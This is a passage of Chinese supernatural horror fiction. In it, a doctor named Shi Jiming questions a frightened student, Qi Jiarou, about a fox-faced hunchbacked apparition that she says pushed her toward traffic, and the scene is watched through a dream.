没关紧的窗户突然吹进了一阵微风,吹得桌上留下的书哗哗作响。曲通幽凝神细听了一会儿,才发现这声音中间还有点别的动静。
两张桌子中间的阴影里,有什么东西在里面蠕动。衣角摩擦着木质桌板,发出沙拉沙拉的声响。
一只手突然从桌子下面伸出来,苍白粗大的指头用力扒着桌板,在上面留下了几个清晰的血手印。然后又像是被什么力道拖着一样,缓慢缩回了桌子下面。
阴暗的空间里充斥着阴森和不祥的气氛,可师寂明依然毫无动静。
砰!
窗外好像突然发出了重物坠地声,师寂明走到窗边往下看,却什么都没看到。
“影响已经这么深了吗?”他叹了口气。
曲通幽还是没搞清楚发生了什么。这个梦从头到尾好像都透着股古怪。只是那个齐嘉柔似乎是遇到了和李乐瑶很相似的事情,所以她才继续集中精神看下去。
雾散,还是那间门诊室,齐嘉柔坐在桌子对面,她的头上裹了一圈纱布,正表情惊恐地望着师寂明。
“师医生,那东西又来了!这次它碰到了我,我在等公交的时候,那东西突然出现在我身后,用力把我推了出去。我差点被汽车撞倒!它想害死我!”
“您看清楚了吗?”
“看清楚了!我当时特意扭头看了一眼,那个衣服,还有驼背!狐狸脸……它眯着眼睛,是在笑!它想杀死我!”
“看来那东西已经开始对您产生实质性攻击了。”
“那东西……真的是鬼吗?”
“现在还不能确定。齐小姐,你最近有做什么特别的事情吗?比如,和人结仇,或者去过墓地、阴气重的地方之类。”
“没有吧……我每天都在学校,最近一个月都没出门。结仇……应该不太可能,我从小性格就很内向,应该是不会得罪人。”
“一个月前不是应该是暑假吗?你为什么会在学校呢?”
“哦,我家比较远,经济条件又比较困难。给家里写了信,说暑假不回去了,在学校勤工俭学。”
“原来是这样。”
“请问……师医生你有办法解决我的问题吗?”
“我认识一些人。但首先我要了解一下你遇到的事情。方便我什么时候去你宿舍一趟吗?”
“啊?可是她们不知道这件事……”
“没关系,我只是想要认识一下介绍你来我这里的人。”